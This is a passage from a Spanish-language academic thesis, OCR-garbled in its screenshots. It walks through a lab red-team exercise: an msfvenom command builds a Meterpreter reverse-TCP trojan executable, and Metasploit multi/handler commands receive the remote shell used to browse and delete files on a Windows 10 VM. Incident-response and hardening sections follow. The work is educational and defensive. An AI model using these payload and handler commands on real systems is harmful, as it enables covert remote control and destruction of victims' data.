8 REVISTA SEMANA. Los Detalles secretos del grave hackeo que sufrié la Universidad Nacional [en linea]. (2
de abril de 2023). [Consultado: 16, agosto, 2023]. Disponible en: https://www.semana.com/nacion/articulo/asi-
fue-el-hackeo-del-que-fue-victima-la-universidad-nacional/202335/
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solicitud de recepcion de documentos y en la infraestructura de servidores,
asi mismo, el acceso a estos, derivando en una indisponibilidad que afecto
la operacion y la imagen de la universidad. Aunado a esto, se habria
violentado la Ley 1581 de 2012.

e Articulo 269G: Suplantacion de sitios web para capturar datos personales.
Segun la entrevista dada por el Director Nacional de Estrategia Digital, se
pudo tratar de un phishing, por lo cual, se atenté contra este articulo.

e Articulo 269H: Circunstancias de agravacion punitiva.

1. Sobre redes o sistemas informaticos o de comunicaciones estatales u
oficiales o del sector financiero, nacionales o extranjeros.

El ciberataque ejecutado contra la Universidad Nacional, tendria la circunstancia de
agravacion punitiva mencionada, debido a que es una entidad del orden nacional.

4 EJECUCION DE PRUEBAS DE INTRUSION

4.1 DESCRIPCION DE LAS HERRAMIENTAS DE SOFTWARE UTILIZADAS
PARA REALIZAR UNA PRUEBA DE INTRUSION EN UN AMBIENTE
CONTROLADO.

En los ultimos afios y con la llegada del COVID-19, la seguridad informatica se
convirtié en una parte fundamental de la operacién y gestion de las empresas, las
cuales buscan salvaguardar lo mas valioso que tienen: su informacion (datos). Para
proteger la informacién, se deben implementar mecanismos que permitan identificar
los riesgos a los que se encuentran expuestos los datos y adoptar controles que
gestionen o minimicen esos riesgos. Por lo anterior es necesario realizar ejercicios
de Red Team.

El Red Team se encarga de ejecutar pruebas de penetracion, las cuales consisten
en hacer una representacion de un escenario de ataque para medir la capacidad de
deteccion de brechas de seguridad, identificando las posibles debilidades de los
controles de seguridad informatica, de la informaciébn y ciberseguridad
implementados, generando estrategias que reduzcan los riesgos registrados.

Para llevar a cabo sus ejercicios, un Red Team necesita herramientas de hardware,
software o redes que le permitan hacer la emulacion de adversarios. Dentro de los
instrumentos usados se encuentran: herramientas para actividades de inteligencia,
para enumeracion y reconocimiento, de explotacién y herramientas de post-
explotacion. Algunos Red Team también hacen uso de recursos para la generacion
de informes de resultados de las pruebas de penetracion.
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En el ejercicio que se llevd a cabo para el desarrollo del primer objetivo de este
trabajo, se utilizaron las siguientes herramientas de software:

4.2

VirtualBox®: Es una herramienta que permite la virtualizacion o emulacion
de equipos de computo, la cual esté disponible gratuitamente como software
de cddigo abierto, bajo los términos de la Licencia Publica General GNU
(GPL) version 3.

Maquina Kali Linux: Sistema operativo para la realizacion de ejercicios de
pruebas de penetracion, el cual cuenta con diferentes herramientas que le
permite al Red Team hacer ejercicios de identificacion de vulnerabilidades.
Maquina Windows 10 ®: Sistema operativo de la maquina victima.
Metasploit: es una herramienta incluida en Kali Linux, la cual esta
compuesta por mas de novecientos (900) exploits, los cuales sirven para
explotar vulnerabilidades en diferentes sistemas operativos.

Meterpreter: Es un payload que permite ejecutar actividades maliciosas en
el dispositivo de la victima y puede pasar desapercibido por su
funcionamiento a bajo nivel.

MSFVenom: es una herramienta de Metasploit que se utiliza para generar
varios tipos de payloads para distintas plataformas, como Android, Windows,
Unix, entre otras. Se puede utilizar para generar programas tipo caballos de
Troya para ejecutarlos en la maquina de destino.

Nmap: Es una herramienta que permite encontrar qué dispositivos se estan
ejecutando en una red, descubrir puertos, servicios abiertos y detectar
vulnerabilidades en los equipos que estan esta, a través de scripts que este
contiene.

DATOS QUE PERMITIERON IDENTIFICAR EL FALLO DE SEGURIDAD
DEL ESCENARIO PROPUESTO.

Teniendo en cuenta la informacion del escenario propuesto, los datos que son
relevantes para identificar el fallo de seguridad son los siguientes:

El administrador del computador afectado, mencion6 que se habia ejecutado
un archivo con extension .exe, el cual le fue enviado a través de WhatsApp
Web. Por este motivo, se puede pensar que se tratd de un ataque tipo
phishing, donde el atacante, se valio de la confianza de la persona a cargo
del equipo victima, para hacer el envio del archivo malicioso.

Todos los esquemas de proteccion del equipo se encontraban desactivados
(firewall de Windows antivirus, firewall de red, Windows Defender, etc). Al
encontrarse en este estado, el equipo estaba completamente vulnerable en
caso de gque se explotara cualquier vulnerabilidad.

En el equipo afectado, se tenia un archivo de texto en el escritorio, el cual
después de ejecutarse la actividad inusual, desaparecio, lo cual le dio indicios
al administrador de que habia sido victima de un ataque informatico. Tener
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archivos en el escritorio, es una mala practica, ya que le facilita el trabajo al
ciberdelincuente, pues es un lugar comudn, en el que los usuarios finales
guardan sus archivos.

4.3 HERRAMIENTA DE IDENTIFICACION DE FALLOS DE SEGURIDAD
UTILIZADA Y PUERTO QUE USA LA APLICACION.

En el presente ejercicio, inicialmente se utiliz6 NMap para realizar un escaneo de la
maquina victima y descubrir los puertos y servicios que se estaban ejecutando en
esta. Se us6 el comando sudo nmap -p- -sVC -sC --open -sS -vvv -n -Pn
192.168.80.18

-p-: Esta opcion indica que se escaneen todos los puertos (del 1 al 65535) del
objetivo. Es util para encontrar puertos no estdndar o inusuales que podrian estar
abiertos.

-sVC: Esta opcion combina tres tipos de escaneo: -sV, -sC y -C. El primero (-sV) es
un escaneo de version que intenta determinar la version y el nombre del servicio
gue se ejecuta en cada puerto abierto. El segundo (-sC) es un escaneo de scripts
que ejecuta los scripts predeterminados del motor de scripts de Nmap (NSE) para
obtener informacion adicional sobre el objetivo. El tercero (-C) es una opcién que
habilita el escaneo con todos los protocolos soportados por Nmap, como TCP, UDP,
SCTP e ICMP.

—open: Esta opciodn filtra los resultados del escaneo para mostrar solo los puertos
gue estan abiertos o posiblemente abiertos. Es util para eliminar el ruido de los
puertos cerrados o filtrados que no son de interés.

-sS: Esta opcién es un escaneo SYN que envia un paquete TCP con el bit SYN
activado a cada puerto objetivo y espera una respuesta. Si recibe un paquete TCP
con los bits SYN y ACK activados, significa que el puerto esta abierto. Si recibe un
paguete TCP con el bit RST activado, significa que el puerto esta cerrado. Si no
recibe ninguna respuesta, significa que el puerto esta filtrado. Este tipo de escaneo
es rapido y sigiloso, ya que no completa el proceso de establecimiento de conexién
TCP (handshake).

-vvv: Esta opcién aumenta el nivel de verbosidad del escaneo, lo que significa que
muestra mas detalles sobre el proceso y los resultados del escaneo. Cuantas mas
v sean, mas verboso sera el escaneo. El nivel maximo de verbosidad es -vvv.

-n: Esta opcion deshabilita la resolucion de nombres DNS, lo que significa que no
intenta obtener los nombres de dominio de las direcciones IP objetivo. Esto puede
acelerar el escaneo y evitar consultas DNS innecesarias o falsas.

-Pn: Esta opcion deshabilita el descubrimiento de hosts, lo que significa que no
intenta comprobar si los objetivos estan vivos o no antes de escanearlos. Esto
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puede ser (til cuando se escanean objetivos que bloquean los métodos comunes
de deteccion de hosts, como el ping.

(65535 total ports)
Fuente: elaboracion propia

El atacante, hizo uso de un archivo ejecutable llamado PoC_29688795,exe, creado
a través de MSFVenom, el cual contenia la carga util que le permitié ganar acceso
a la maquina victima, a través del puerto 443, el cual se usa para el intercambio de
informacion entre los servidores web y los navegadores del usuario.

4.4 EXPLICACION DEL CIBERATAQUE RECIBIDO.

Teniendo en cuenta lo manifestado por el administrador del equipo comprometido,
el atacante le envi6 a través de WhatsApp un archivo malicioso, el cual, pasé sin
inconvenientes, ya que no se realiza por parte de esta aplicacion, un blogueo para
el transporte de este tipo de aplicaciones. Adicionalmente, el ciberdelincuente, usé
la vulnerabilidad de la persona, aprovechandose de su familiaridad con el origen.
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Se pudo establecer, que el ciberataque fue llevado a cabo con un archivo malicioso
creado con MSFVenom, el cual es una herramienta que permite generar payloads
personalizados para diferentes sistemas operativos y formatos. Con este, se hizo la
creacion del archivo ejecutable que abrid la conexion entre la maquina atacante y la
victima.

El payload de Meterpreter, es un cédigo malicioso que se ejecuta en el sistema de
la victima después de haber sido comprometido por un exploit. Meterpreter permite
al atacante, controlar remotamente la maquina objetivo, acceder a sus archivos,
procesos, dispositivos, entre otros.

El payload generado funciona como un caballo de troya, ya que en apariencia es un
archivo ejecutable inofensivo, pues a simple vista no ejecuta nada, pero que, en su
interior, lleva un cédigo malicioso para hacer el ataque. En el caso de estudio de
este documento, especificamente lo que hace el payload es abrir y establecer la
conexion a través del puerto 443 entre la maquina del atacante y la maquina victima,
para que luego, el atacante a través de una shell de meterpreter, pueda ejecutar el
ataque que, en este caso, fue lograr el borrado de un archivo que el administrador
de la maquina victima tenia en el escritorio.

4.5 ESTRUCTURA DEL PAYLOAD Y COMANDOS UTILIZADOS PARA SU
EJECUCION.

Como ya se dijo arriba, el payload fue creado con MSFVenom, a través de la
siguiente linea de codigo:

msfvenom -p windows/x64/meterpreter/reverse_tcp --platform windows -a x64
LHOST=IP_KALI LPORT=443 -f exe >>
/Directorio_guardar_ejecutable/Nombreejecutable.exe

A continuacion, se describe la estructura y significado de los parametros y opciones
gue se usan en esta linea de cédigo:

e -p windows/x64/meterpreter/reverse_tcp: Esta porcion de codigo indica
cudl es el tipo de payload que se quiere generar. En este caso, se usa un
payload de Meterpreter para Windows ® de 64 bits, que usa una conexion
TCP inversa, es decir, que el sistema de la victima inicia la conexion con el
sistema del atacante.

e -—platform windows: Esta opcion indica el sistema operativo de la maquina
objetivo, que en este caso es Windows. Es util para asegurar la
compatibilidad del payload con el sistema operativo de la victima.

e -a x64: Esta opcidn indica la arquitectura del sistema operativo del sistema
objetivo, en este caso, es un equipo con sistema operativo de 64 bits. Es

49



importante que coincida con la arquitectura del payload y del sistema
operativo de la victima.

e LHOST=IP_KALI: Esta opcion indica la direccion IP del sistema del atacante,
en este caso la direccion IP de Kali Linux (IP_KALI). Es el lugar al que se
conectara el payload desde el sistema de la victima. LHOST significa Local
Host.

e LPORT=443: Esta parte indica el puerto del sistema del atacante al que se
conectara el payload desde el sistema de la victima que, para el presente
caso, es el puerto 443.

e -f exe: Esta opcion indica el formato del payload, que en este caso es un
ejecutable (exe). Es el formato que tendréa el archivo que se guardara con el
payload.

e >> /Directorio_guardar_ejecutable/Nombreejecutable.exe: Esta parte
indica el lugar donde se guardard y el nombre que tendra el payload. El
operador >> significa que se aflade el payload al final del archivo, si ya existe.
Si no existe, se crea uno nuevo.

Se muestra el paso a paso que pudo haber llevado a cabo el atacante para
conseguir su objetivo.

e Crecion del payload con la carga util

Figura 20. Creacion del archivo ejecutable con MSFVenom

x64 LHOST=192.168.80.21 LPORT=443
Fuente: elaboracion propia

En la Figura 3, se puede ver el payload ya creado en la carpeta especificada.

Figura 21. Ejecutable obtenido por MSFVenom

11:30PM O

Editar Ver Ir Ayuda

4 M = /home/kali/Documentos/

PoC_29688795.ex
e

REDES
[ Buscarentared

0GiB

Fuente: elaboracion propia
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e Ejecucion del exploit de Metasploit elegido, que permitird la conexién a través
de una sesion de meterpreter. En este caso se uso exploit/multi/handler. El
payload handler se utiliza para conectar con un codigo malicioso que se
ejecuta en el sistema de la victima después de haber sido comprometido por
un exploit. El handler (manejador) queda a la escucha esperando que se
establezca la conexion del payload, o en su defecto, inicia la conexion con la
maquina victima en un puerto especifico.

Para ejecutar Metasploit, se hace mediante el comando msfconsole, como se
puede ver en las Figuras 4 y 5.

Figura 22. Lanzamiento de Metasploit

ﬂ Kali [Corriendo] - Oracle VM VirtualBox = O

N a0 E ) kali@Kali: ~ 10:45PM O a D& c

kali@Kali: ~

Archivo Acciones Editar Vista Ayuda

Py oot

Fuente: elaboracion propia

Figura 23. Consola de Metasploit cargada
O kali@Kali: ~ 10:47PM O a | & ¢

€CCECCEEC naraannnnasnnnasn
ccccecccccc
ccccececcccecccccccccceccee
................. ccceeceeee
cccccecccccccccccccccccccee
cccceecccccecccccecccceccce
FEFFFFFFFFFFFFFFFFFFFFFFFF
FEEEFFFf.cevuccsnnosnnnans
FEFFFFFFFFFFFFFFFFFFFFFFFF
FREFFFFF..
FEFFFFFF..
FEFFFFFF..

Code: 00 00 00 00 M3 T4 SP L@ 1T F
Aiee, Killing Interrupt handler

1
uxiliary - 352 post ]
]

- 10 nops

1

: Writing a custom module? After editing your module, why not try the

Fuente: elaboracion propia

e En este caso, se hizo uso del exploit multi/handler. A continuacién, se
explica cada parte de la configuracion necesaria para poder llevar a cabo la
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ejecucion exitosa del exploit. El exploit multi/handler permite utilizar cualquier
tipo de payload que sea compatible con la plataforma y la arquitectura del
objetivo, como por ejemplo Meterpreter, que es el payload por excelencia de
Metasploit.

msf6 > use exploit/multi/handler: Esta parte le indica a Metasploit cual sera el
exploit a usar para ejecutar el payload.
[*] Using configured payload generic/shell_reverse_tcp

msf6 exploit(multi/handler) > set PAYLOAD
windows/x64/meterpreter/reverse_tcp: Este comando asigna el tipo de payload
que se quiere usar, en este caso, el payload de Meterpreter para Windows de 64
bits que usa una conexion TCP inversa, es decir, que el sistema de la victima inicia
la conexion con el sistema del atacante.

PAYLOAD => windows/x64/meterpreter/reverse_tcp

msf6 exploit(multi/handler) > set LHOST 192.168.80.21: Asigna la direccion IP de
la maquina atacante (Kali Linux), con la cual se conectara la victima.
LHOST => 192.168.80.21

msf6 exploit(multi/handler) > set LPORT 443: Setea el puerto mediante el cual la
victima se conectara con el atacante.
LPORT => 443

msf6 exploit(multi/handler) > exploit: Indica que el exploit ya esta configurado y
gue se debe ejecutar. También puede usarse el comando run.
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Figura 24. Configuracion del exploit usado

N mEmO = E ) kali@Kali: ~

kali@Kali: ~
Archivo Acciones Editar Vista Ayuda
> use exploit/multi/handler

d p
eterpreter/reverse_tcp

) >set LPORT 443
) > show options
(exploit/multiy,

Name Current Setting Required Description

erpreter/reverse_tcp):
Required Description
chnique (Accepted: '', seh, thread, pr

ten addr s (an interface may be speci
ten port

msf6 exploit( ) > exploit

Started reverse TCP handler on 192.

Fuente: elaboracion propia

e Una vez ejecutado el exploit y si quedd bien elaborado el payload, se
establece la conexion a través de una shell de Meterpreter. Inmediatamente
se ejecuta el payload y se establece la conexién, este se elimina del sistema
victima, sin dejar rastro.

Figura 25. Establecimiento de la conexién entre la victima y el atacante

- it

21:443 — 192.168.80.16:49741) at 2023-08-20 22:51:02 -0500

Fuente: elaboracion propia

e Para lograr la conexion entre la victima y el atacante, se debe ejecutar el
archivo PoC_29688795.exe en la maquina objetivo, ya que este contiene la
informacion para abrir la conexion a través del puerto 443 de la maquina
atacante.

e Cuando se establece la conexion, se asigna una sesion meterpreter por
medio de la cual, el atacante puede manipular la maquina de la victima,
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ganando privilegios, exfiltrando, modificando o eliminando informacion, entre
otras acciones.

A través del comando sysinfo, el atacante puede obtener datos del sistema
operativo de la victima, como se puede observar en la Figura 8.

Figura 26. Ejecucion del comando sysinfo
r > sysinfo
: DESKTOP-8TB28
0s : Windows 1@ (10.8 Build 19044).
Architecture T x64
System Language @ es_MX
Domain ! WORKGROUP
Lo ers : 2

x64 /windows

Fuente: elaboracion propia

En la Figura 9, se muestra que para realizar las acciones necesarias en la
magquina victima, se usa el comando shell en la consola de meterpreter, el
cual permite acceder a la terminal del sistema operatrivo de la maquina de
destino, para poder ejecutar los comandos de manera remota. En este caso,
lanza una consola cmd porque la maquina victima cuenta con un sistema
operativo Windows ® 10, y por medio de esta, el atacante obtiene acceso a
todo el sistema operativo del sistema objetivo.

Figura 27. Ejecucién del comando Shell
meter ;

Process 1196 created.

Channel 1 created.

Microsoft Windows [Versi®n 10.0.19044.1288]
(c) Microsoft Corporation. Todos los derechos reservados.

Fuente: elaboracion propia

Una vez ganado el acceso al sistema comprometido, se pueden usar los
comandos de la linea de comandos de Windows ®, para realizar la
exploracion, modificacion u otras acciones que el atacante quiera llevar a
cabo. Cuando se establece la conexién, el archivo ejecutable, desaparece de
la maquina victima, sin dejar rastro.
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Figura 28. Exploracion de directorios en la maquina victima a través de meterpreter

UsersyDavila>dir
dir
El volumen de la unidad C no tiene e
El n¥mero de serie del volumen es: EE

Directorio de C:% rsyDavila

<DIR>
<DIR>
<DIR>
<DIR>
<DIR>
m. <DIR>
| <DIR>
Lo, <DIR>
p.omn. <DIR>
p.omn. <DIR>
p.omn. <DIR> OneDrive
04: 44 p.€m. <DIR> Pictures
04:41 p.€m. <DIR> Saved Games
04:43 p.€m. <DIR> earches
B4:41 p.€m. <DIR> Videos
@ archivos @ bytes
15 dirs 211 .368 bytes libres

Documents

p.€m
p.¥m
p.¥m
p.¥m
p.¥m
p.¥
p. ¥ Downloads
p. % i

Music

Fuente: elaboracion propia

En la Figura 11, se puede ver que los archivos vistos desde la maquina victima,
coinciden con lo mostrado por la shell en meterpreter de la maquina del atacante.

Figura 29. Directorios vistos desde la maquina victima

MNombre

»-' Bulsquedas
[27] Contactos
’ Descargas
=] Documentos
B Escritorio

¢ Favoritos
&=| Imagenes
#P luegos guardados
J'! Musica

J Objetos 3D
& OneDrive

B videos

F Vinculos

Fecha de modificacian

18/

18

18/09/2022 441 p. m.

Fuente: elaboracion propia
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e Se puede realizar una exploracion de archivos para encontrar informacion
valiosa en el equipo comprometido.

Figura 30. Exploracién de archivos contenidos en la carpeta Downloads

L de la unidad C nmo tiene
El n®mero de serie del volumen es: B

Directorio de C:% rshDavila\Downloads

.M. <DIR>
LR

Fuente: elaboracion propia

En este caso, se puede observar que habia un archivo llamado PoC_29688795.exe,
creado el 20/08/2023 04:54 p.m. en la carpeta Downloads.

En el escritorio se puede ver que hay un archivo llamado doc.txt, el cual fue creado
el 18/08/2023 a las 8:27 p.m.

igura 31. Exploracion del Escritorio de la maquina victima
C:\Users\Davila»cd Desktop
cd Desktop

s\Davila\Desktop>dir

El volumen de 1la unidad C no tiene etigueta.
El n®¥mero de serie del volumen es: BE7C-ADG3

Directorio de C:\Users\Davila\Desktop

<DIR>

Fuente: elaboracion propia

En la Figura 14, se muestra el Escritorio del equipo de la victima, el cual contiene el
archivo doc.txt.
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Figura 32. Escritorio del equipo de la victima

-t = 1
£ Buscar i - & 13°C Mayorm. nubla.. A~ T D T3 4y EP

Fuente: elaboracion propia

Para ver el contenido del archivo doc.txt, se hace uso del comando type
nombre-de-archivo. En este caso, se puede observar que el archivo
contiene la estructura: Nombre_estudiante_codigo_fecha_actividad y los
datos de una persona: Andrea_Davila 29688795 19 08 2023-actividad3,
como se muestra en la Figura 15 y Figura 16.

Fuente: elaboracion propia
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Figura 34. Estructura del archivo doc.txt desde la maquina victima

7 doc: Bloc de notas

Archivo Edicién Formato Ver Ayuda
Nombre_estudiante_codigo_fecha_actividad

Andrea_Davila_29688795_agosto20 »23Jactividad3

Linea 3, columna 36 100%  Windows (CRLF)

P Buscar =]} & 22°C Mayorm. nubla... ~ = T3 4 ESP

Fuente: elaboracion propia

e Para realizar el borrado del archivo, se hace por medio del comando del
nombre_archivo.extension, que para el caso de estudio es doc.txt, como
se muestra en la Figura 17.

Figura 35. Borrado del archivo en el sistema victima
SDan del doc.txt

Fuente: elaboracion propia

En la Figura 18 se observa que después de la ejecucion del comando del, se eliminé
el archivo que se encontraba en el escritorio del equipo comprometido. Por lo tanto,
se puede decir que el ataque fue llevado a cabo exitosamente.
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Figura 36. Escritorio de la victima después del borrado del archivo doc.txt

£ Buscar i " & 13°C Mayorm. nubla... A

Fuente: elaboracion propia

Una vez terminadas las acciones por parte del atacante en la maquina victima, se
cierra la sesion de meterpreter, como se ve en la Figura 19.

Figura 37. Cierre de sesién en la maquina victima

Fuente: elaboracion propia
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5 CONTENCION DE ATAQUES INFORMATICOS

5.1 PASOS PARA IDENTIFICAR UN ATAQUE DE CIBERSEGURIDAD EN
TIEMPO REAL Y ANALISIS DE LAS ACCIONES NECESARIAS PARA
CONTENERLDO.

Los equipos informaticos, redes, sistemas, dispositivos e informacion,
continuamente se encuentran expuestos a los atacantes, los cuales aprovechan y
explotan las vulnerabilidades que estos tienen, las cuales pueden ir desde
desactualizaciones, malas configuraciones, permisos de acceso sin gestionar, entre
otros. Por esta razdn, es necesario que los expertos en seguridad informatica, de la
informacion y ciberseguridad, se encuentren preparados para responder en caso de
un ciberataque.

Si bien es cierto que los ataques en tiempo real pueden ser dificiles de detectar, de
acuerdo con Eliseo Martin del Grupo Cibernos®, hay algunos indicadores que le
pueden permitir a los expertos en seguridad, reconocer que la organizacién se
encuentra bajo una situacion adversa. La manera mas comun de iniciar la
identificacion de anomalias, es a través de la revision de fuentes de informacion.
Algunas de estas son:

Logs de los diferentes dispositivos y equipos.

Registros de red y del sistema, tanto de servidores como de equipos finales.

Consolas de antivirus.

Alertas generadas por la herramienta SIEM (Security Information and Event

Management) para correlacion de eventos de seguridad.

¢ Informacion generada por el sistema de identificacion y prevencion de
intrusiones IDS/IPS y del DLP (Data Lost Prevention).

e Registro de conexiones bloqueadas en los dispositivos de proteccion

perimetral o firewalls.

A continuacion, se presentan una serie de indicadores que permiten identificar si
hay un posible ataque de ciberseguridad en curso y las posibles acciones a realizar
para su gestion.

e Hay aparicion de actividad sospechosa en los equipos de proteccion,
servidores y/o de usuarios.

e Elevado consumo de recursos en los dispositivos. Aumento de actividad en
el disco duro y memoria, o que hace que el equipo experimente lentitud en
la respuesta a las solicitudes del usuario.

e Registro de cuentas de usuario irregulares y/o con permisos privilegiados.

9 MARTIN, Eliseo. Pasos a seguir ante un ataque informatico [sitio web]. [Consultado: 13, septiembre,
2023]. Disponible en:  https://www.grupocibernos.com/blog/pasos-a-seguir-ante-un-ataque-
informatico
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Procesos y servicios inusuales; puertos no solo a la escucha sino con
conexiones extrafias a servicios poco habituales.

Archivos con tamafios, ubicaciones o nombres sospechosos u ocultos, lo
gue podria indicar una posible fuga de informacion.

Avisos de la solucidén endpoint sobre intentos de ejecucion o de conexion
desde vinculos y archivos inusuales. Asi mismo, genera alertas sobre la
presencia de troyanos o puertas traseras.

Apertura de sesiones en la maquina desde otras ubicaciones, al igual que
presencia de carpetas compartidas anémalas.

El firewall puede mostrar peticiones, trafico de red aumentado o conexiones
a sitios desconocidos o0 no comunes, asi mismo, como envio de paquetes
desde un solo origen.

Salto de los certificados de seguridad, es decir, se ingresa a URLSs http en
lugar de https.

Aparicion de ventanas emergentes los navegadores.

Una vez detectados los comportamientos que pueden suponer que se esta bajo
ataque, se deben tomar acciones de gestion, que le permitan a la empresa contener
y mitigar los efectos adversos, a través de la informacion obtenida previamente, con
el fin de evitar pérdidas y recuperar su operatividad en el menor tiempo posible.
Por lo anterior, es imprescindible que se identifiqgue la extensién del ataque, qué
equipos se encuentran afectados, asi como los patrones comunes que posibiliten el
aislamiento del incidente, con base en ellos.

No existe una guia definitiva para actuar en cada ciberataque, ni una receta magica.
Solo se pueden seguir algunos pasos 0 mejores acciones, aunque existen variedad
de ellas:

Determinar el tipo de ciberataque que esta llevandose a cabo: Es decir,
identificar el activo que esta siendo atacado, ya que puede ser un ataque a
la infraestructura, a las bases de datos, a las contraseias, a los archivos
(para cifrarlos o exfiltrarlos). Se puede determinar con la revision de los
registros que arrojan los diferentes dispositivos de seguridad, servidores o
equipos.

Aislar o desconectar los dispositivos y segmentos de red afectados:
Esta accién evitara que el malware se propague hacia otros equipos o que el
atacante pueda escalar privilegios y acceder a mas informacion. Para esto,
se puede poner en cuarentena el dispositivo o banear la IP desde el
dispositivo de proteccion perimetral o firewall. En esta fase, también puede
restringirse el tréfico de datos al estrictamente necesario, en caso de que se
trate de un activo critico. Puede limitarse, ademas, el uso de recursos
compartidos y las conexiones entrantes y salientes a través de politicas de
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firewall. Es importante no apagar nada, ya que se perderian datos
importantes que pueden necesitarse en la investigacion de lo ocurrido.

Comunicar: Una vez identificado el tipo de incidente, se puede solicitar
apoyo de expertos en el tema, al igual que de fabricantes y grupos de interés,
en la parte técnica. También puede involucrarse personal juridico, de talento
humano y de comunicaciones, con el fin de evaluar las repercusiones en
estas areas y de establecer una comunicacion fluida y oficial con las partes
interesadas.

Adquirir los datos necesarios paralainvestigacién posterior: Cuando se
ha identificado el incidente de seguridad y los equipos comprometido y se
han aislado del resto de la red, se debe tener en cuenta, dentro de la
estrategia de contencion, que se debe preservar las evidencias para hacer el
andlisis forense respectivo, para lo cual se extraen la informacion volétil de
la memoria antes de apagar los equipos.

Analizar los dispositivos infectados con herramientas de seguridad y
eliminar el malware encontrado. Esto ayudara a identificar el tipo y el origen
del malware, asi como su posible ubicacion. En este paso se pueden usar
herramientas como antimalware, antivirus, antispyware, entre otros. Esta
actividad puede hacerse paralelamente a las acciones anteriores.}

Higienizar las aplicaciones y sistemas operativos: En esta etapa, se
limpian los archivos o sistemas modificados, se eliminan los posibles
usuarios creados, se cierran puertas traseras instaladas, entre otras acciones
gue le permitan a la empresa tomar el control sobre la situacion. Esto puede
asegurar que no queden rastros del malware y de que el sistema funcione
correctamente.

Restaurar aplicaciones, dispositivos e informacion: Se puede hacer
necesario reinstalar los sistemas operativos desde cero. Por esta razon, los
sistemas operativos y las aplicaciones deben dejarse en una version limpia 'y
actualizada. Adicionalmente, en esta fase, es crucial que las copias de
seguridad de los datos importantes estén probadas y disponibles para ser
usadas. Tener verificadas las copias de seguridad de la informacién, puede
permitirle a la organizacion recuperarse mas rapidamente y regresar a la
operacion en un menor tiempo.
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5.2 PASO A PASO EJECUTADO PARA SUBSANAR EL SISTEMA ANTE EL
EVENTO DEL PAYLOAD

Si bien es cierto que los ciberataques cada vez son mas sofisticados, estos siguen
teniendo éxito debido a que se siguen usando las brechas existentes en temas de
higiene de seguridad basica.

Para ayudar al personal de Seguridad y de TI, se han creado guias de hardening
(endurecimiento) de servidores, redes, endpoints, aplicaciones, entre otros. El
hardening

El hardening o endurecimiento, es el proceso mediante el cual se busca fortalecer
un sistema informatico, una red, un servidor, un dispositivo de usuario final, entre
otros, mediante la implementacion de medidas de seguridad que reduzcan las
vulnerabilidades y los riesgos asociados al mismo.

El objetivo del hardening es minimizar la superficie de ataque, es decir, disminuir el
conjunto de puntos por donde un atacante puede acceder o comprometer el
sistema. Para lograr esto, se debe tener una gestiébn de parches e implementar
medidas de seguridad de mas alto nivel, que permitan proteger el sistema operativo.

En los ultimos afos, Microsoft® ha estado realizando algunas mejoras en el tema
de la configuracién predeterminada de seguridad de su sistema operativo, pero se
siguen presentando brechas entre las mejores practicas de seguridad (es decir,
benchmarks comunes) y la configuracion predeterminada. Llegar a tener una
postura basica de hardening requiere una planificacion detallada de parte de los
equipos de TI, asi como la asignacion de recursos y tiempo que, de dejarse de lado,
hace que los servidores sean vulnerables.

En el ejercicio de red team anterior, se logré explotar una vulnerabilidad que tenia
el sistema operativo de la victima. Para el caso del ejercicio, a través de un payload
realizado con MSFVenom, se logré establecer comunicacion entre la maquina
victima y la atacante, al ejecutar un archivo malicioso, el cual fue enviado a través
de una aplicacion de mensajeria instantanea en su version web.

En la Figura 1, se puede observar el estado inicial de la proteccién en el equipo que
fue victima del ciberataque. Se ve que todo se encuentra deshabilitado, por lo tanto,
el equipo estaba en un estado de alta vulnerabilidad, lo que facilitd el trabajo del
atacante.
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Sequridad de Windows

| fr  Inicio
J  Proteccién contra virus y amenazas
R Proteccion de cuentas

) Firewall y proteccién de red

Figura 38. Estado inicial del equipo victima

Seguridad de un vistazo

ta sucediendo con la seguridad y el estado del
s medidas necesarias.

v S

Proteccién contra virus y
amenazas

cién basada en la nube
ctivada. El dispositivo
padia ser vulnerable

Contrel de aplicaciones y explorador

Seguridad del dispositivo

1to y estado del

Iniciar sesién

Opciones de familia Activar

Ignorar

“a

Firewall y proteccién de red

Los firewalls estan desactivados.

El dispositivo podria estar en

ries:

Activar

Control de aplicaciones y
explorador

Activar

Ignorar
Ignorar

Fuente: elaboracion propia.

En la Figura 2, se ve que la proteccion contra vulnerabilidades de seguridad se
encuentra desactivada de manera predeterminada, lo que impide el control de
aplicaciones y explorador.

Figura 39. Control de aplicaciones y explorador desactivado.

Proteccidn contra vulherabilidades de
seguridad

fr  Inicio Consulta la configuracion de proteccion contra vulnerabilidades de
seguridad definida para el sistema y los programas. Puedes personalizarla

O Proteccién contra virus ¥ amenazas como qUieraS.

R Proteccion de cuentas

Configuracion del sistema  Configuracion del ¢

U Firewall y proteccién de red

| B control de aplicaciones y explorador

Proteccidn de flujo de control (CFG)

B Seguridad del dispositivo Asegura la integridad del flujo de control para las llamadas indirectas.

% Rendimiento y estado del dispositivo

Desactivado de manera predeterminada

gk Opciones de familia

Prevencién de ejecucion de datos (DEP)
Impide ejecutar codigo de paginas de memoria de solo datos.

Desactivado de manera predeterminada
X - Exportar configuracién
@ Configuracién P g

Fuente: elaboracion propia

En la Figura 3, se evidencia que solo existia una cuenta, la cual tenia privilegios de
administrador, lo que hace vulnerable el dispositivo, ya que tiene control total del
mismo y le permite hacer ejecuciones sin necesidad de permisos.
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Figura 40. Tipo de cuenta

52, Cuentas de usuario

&« “ A4 HL s Paneldecontrol 5> Cuentas deusuario > Cuentas de usuario v O

Ventana principal del Panel de

control Realizar cambios en la cuenta de usuario

Administrar credenciales Realizar cambios en mi cuenta en Configuracién

Crear un disco para restablecer ) Davila

contrasefia ) Cambiar el nombre de cuenta Cuenta local

Administrar sus certificados de 9 Cambiar el tipo de cuenta Admln.lstrador

cifrado de archivo Protegida por contrasefia
) Configurar las propiedades o

avanzadas del perfil de usuario & Administrar otra cuenta

Camnbiar las variables de 9 Cambiar configuracion de Control de cuentas de

entorno usuario

Fuente: elaboracion propia.

En la Figura 4 se aprecia que el sistema operativo se encontraba con
actualizaciones pendientes de descargar e instalar, entre las que esta una
actualizacion de la herramienta de eliminacion de malware.

Figura 41. Estado de las actualizaciones del sistema operativo

Windows Update

~ | Actualizaciones disponibles
=~ Ultima comprobacién: hoy, 5:40 p. m.

Actualizacién de caracteristicas a Windows 10, versién 22H2
Estado: Descarga pendiente

Herramienta de eliminacién de software malintencionado de Windows x64, v5.117 (KB890330)
Estado: Instalacion pendiente

Las actualizaciones estan disponibles, pero se necesita temporalmente mas espacio para la descarga. Eliminemos
algunos archivos y aplicaciones que no necesitas para liberar un poco de espacio y luego volveremos a intentarlo.

Quitar cosas innecesarias del almacenamiento

Reintentar

Fuente: elaboracion propia.

